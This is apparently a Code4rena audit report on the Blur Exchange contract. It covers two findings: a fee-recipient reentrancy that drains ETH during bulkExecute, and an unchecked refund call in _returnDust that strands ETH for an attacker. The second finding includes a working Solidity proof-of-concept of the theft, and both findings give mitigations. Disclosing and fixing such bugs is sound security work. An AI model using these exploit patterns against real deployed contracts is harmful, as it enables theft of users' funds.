Blur Exchange contest - V_B's results

Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L168 https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L257 https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L578 https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L581 https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L600 https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L631 https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L168

Vulnerability details

Vulnerability details

Description

There is _execute function in the Exchange smart contract. The function matches two orders, ensuring the validity of the match, transfers the order fees, etc.

When transferring fees, the contract just makes a call to the recipient's address, creating a possibility for a reentrancy attack.

On the other hand, there is a bulkExecute function. It makes a bunch of delegate calls to the _execute function. At the start of a function, the _execute is delegate called in the loop, and at the end, all remaining ether is returned to the caller.

Now let's put these together. Bob invites Alice to sign a couple of very profitable for her orders. The receipient of the fees of all orders is just an EOA account according to the on-chain data at the moment of signing the order. Alice sends a transaction by calling bulkExecute with ether which is needed to execute a list of signed orders to the mempool. Bob deploys the smart contract to the address of the fee recipient, frontrunning the Alices transaction. The Alices transaction starts execution. The first order executes correctly, and when the ethers should be transferred the fee recipient contract is called, it reenters the Exchange in a bulkExecute function and withdraws the whole ether balance to its address. Now the execution of Alices bulkExecute flow continues and all other orders fails due to zero contract balance. Bob steals Alices' funds.

Attack scenario

1. Honest user sends a bulkExecute transaction with 10 buy orders (all orders use ETH as a token, for example, 1 ETH for each of the orders)
2. When executing the first order from the list the following bunch of calls happen:

• _execute
• _executeFundsTransfer
• _transferFees
• _transferTo
• payable(feeRecipient).call{value: ...}("")

3. In the last call of this sequence fee recipient receives access control and makes a reentrancy call to the Exchange contract. The attacker calls the bulkExecute function with empty input array executions and nonzero value (for example just 1 Wei), so the only _returnDust function will be processed -- actually it will send all the funds from the contract to the attacker.
4. Control flow is returned to the Exchange contract and execution of the first order from the list successfully finishes (_executeFundsTransfer should successfuly finish (possibly, price of the order should be zero) and _executeTokenTransfer will also be called)
5. Execution of all remaining 9 orders fails due to a lack of funds

All in all, all the user's money will be stolen instead of going to fulfill orders.

Impact

Theft of ETH that was not used for successful execution of orders in non-atomic execution, with the possibility of forcing an honest user to this scenario.

Please note, that the user should protect himself using an off-chain check that fee recipient is an EOA account. When after such a check honest user sends his transaction to the mempool attacker can deploy on the fee recipient address a contract with described reentrancy attack logic (for example he can front-run honest user's transaction using MEV).

Recommended Mitigation Steps

Add a reentrancy check to bulkExecute function, to prevent a reentrancy attack:

modifier reentrancyGuardOnlyCheck {
    require(!reentrancyLock, "Reentrancy detected");
    _;
}

function bulkExecute(Execution[] calldata executions)
    external
    payable
    whenOpen
    reentrancyGuardOnlyCheck
    setupExecution
{
    ...
}

Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L168 https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L154 https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L179 https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L209 https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L216 https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L219

Vulnerability details

Description

There are execute and bulkExecute functions in Exchange smart contract. There is the refund of any ETH that was unused (for example that was left due to the unsuccessful order execution) at the end of its execution flow:

_returnDust();

_returnDust function is the following:

function `_returnDust`() private {
    uint256 _remainingETH = remainingETH;
    assembly {
        if gt(_remainingETH, 0) {
            let callStatus := call(
                gas(),
                caller(),
                selfbalance(),
                0,
                0,
                0,
                0
            )
        }
    }
}

Please, note the call result callStatus is not enforced to be true.

Let's remember the EIP-150 63/64 rule. The 63/64 rule says that call opcode can consume at most 63/64 gas of parent call, in other words, the child call can consume "all but one 64th" of the gas, and parent calls will have at least 1/64 of gas to continue the execution.

So, _returnDust can make a call with gas that is not enough to successfully end the execution of the transfer, but the parent call will still have some gas and can successfully end the execution. As result, the remaining ETH will not be refunded but the execution will succeed.

After that, the attacker can withdraw the remaining ETH by calling execute or bulkExecute function with any valid input (the attacker will receive the remaining ETH in the same way that the honest user (actually he is the attacker's target) expected to receive it).

Attack scenario

A honest user calls bulkExecute function with a nonzero ETH value.

Some of the orders fail and a situation described in Description section of this document happens ("according to EIP-150 rule ETH that should be refunded to the user will remain on the exchange contract but the execution of the overall call will succeed"). That can happen if the attacker (for example using MEV logic) front-runs such a transaction and changes the state in an appropriate way (changes some storage slots/executes some orders by himself/makes some of the orders available/etc.). Also, it is possible if the user is represented by a smart contract and the call of a fallback function fails due to its internal logic.

In the next transaction, the attacker calls the bulkExecute function with empty input array executions and some nonzero input value (for example 1 wei) and receives funds that correspond to the honest user, according to the logic of the _returnDust function.

Impact

Theft of ETH that was not used for successful execution of orders in non-atomic execution, with the possibility of forcing a honest user to this scenario.

Please note that eth_estimateGas from web3 json-rpc API will return gas which isn't enough to finish the returning funds to the transaction sender if it is possible. Because of that, many users who use this standard method will suffer from loss of funds.

PoC

// SPDX-License-Identifier: MIT OR Apache-2.0

pragma solidity =0.8.17;

import "https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol";

contract CustomProxy
{
    bytes32 internal constant IMPLEMENTATION_SLOT = keccak256("PoC.CustomProxy.c0dec0de");

    constructor (address _implementation) {
        bytes32 slot = IMPLEMENTATION_SLOT;
        assembly{
            sstore(slot, _implementation)
        }
    }

    fallback() external payable {
        bytes32 slot = IMPLEMENTATION_SLOT;
        address implementation;
        assembly{
            implementation := sload(slot)
        }
        assembly {
            // Copy msg.data. We take full control of memory in this inline assembly
            // block because it will not return to Solidity code. We overwrite the
            // Solidity scratch pad at memory position 0.
            calldatacopy(0, 0, calldatasize())

            // Call the implementation.
            // out and outsize are 0 because we don't know the size yet.
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)

            // Copy the returned data.
            returndatacopy(0, 0, returndatasize())

            switch result
            // delegatecall returns 0 on error.
            case 0 {
                revert(0, returndatasize())
            }
            default {
                return(0, returndatasize())
            }
        }
    }
}

contract Attacker
{
    constructor() payable {
        require(msg.value == 1 ether);
    }

    function stealFunds(Exchange exchange) external {
        Execution[] memory executions = new Execution[](0);
        // Nonzero value to pass the `gt(_remainingETH, 0)` check in `_returnDust` function
        exchange.bulkExecute{value: 1 ether}(
            executions
        );
    }

    fallback() external payable {}
}

contract PoC
{
    Attacker attacker;
    Exchange exchange;
 
    constructor() payable {
        require(msg.value == 2 ether);

        // The reason why the attacker needs nonzero value of ETH
        // is provided in the comment inside of `stealFunds` function
        attacker = new Attacker{value: 1 ether}();

        address implementation = address(new Exchange());
        address proxyAddress = address(new CustomProxy(implementation));
        exchange = Exchange(proxyAddress);
        exchange.initialize(
            IExecutionDelegate(address(0)),
            IPolicyManager(address(0)),
            address(0),
            0
        );
        exchange.open();
    }
 
    function hackInternal() external {
        // To be used as an internal function with custom gas amount
        require(msg.sender == address(this));
 
        Execution[] memory executions = new Execution[](0);
        exchange.bulkExecute{value: 1 ether}(
            executions
        );
    }

    fallback() external payable {
        // Burns ~200k gas on receive
        // This is done for the easier description of the attack
        uint256 gasToBurn = 200000;

        uint256 g = gasleft();
        while (g - gasleft() < gasToBurn) {

        }
    }
 
    // Represents a successful refund and an unsuccessful one
    // After the call 1 ether will stuck on exchange
    function hackStart() external {
        require(gasleft() >= 590000);
        
        {
            require(address(exchange).balance == 0 ether);
            require(address(this).balance == 1 ether);
            this.hackInternal{gas: 300000}();
            // The funds was tranfered back
            require(address(exchange).balance == 0 ether);
            require(address(this).balance == 1 ether);
        }

        {
            require(address(exchange).balance == 0 ether);
            require(address(this).balance == 1 ether);
            this.hackInternal{gas : 250000}();
            // The funds was stuck on the exchange contract
            require(address(exchange).balance == 1 ether);
            require(address(this).balance == 0 ether);
        }
    }

    // Should be called after hackStart to represent
    // a successful theft of funds from exchange
    function hackFinish() external {
        require(address(exchange).balance == 1 ether);
        require(address(attacker).balance == 1 ether);
        attacker.stealFunds(exchange);
        require(address(exchange).balance == 0 ether);
        require(address(attacker).balance == 2 ether);
    }
}

Recommended Mitigation Steps

Add an additional check that the refund ETH call was succeeded:

function _returnDust() private {
    uint256 _remainingETH = remainingETH;
    assembly {
        if gt(_remainingETH, 0) {
            let callStatus := call(
                gas(),
                caller(),
                selfbalance(),
                0,
                0,
                0,
                0
            )
            if iszero(callStatus) {
                revert(0, 0)
            }
        }
    }
}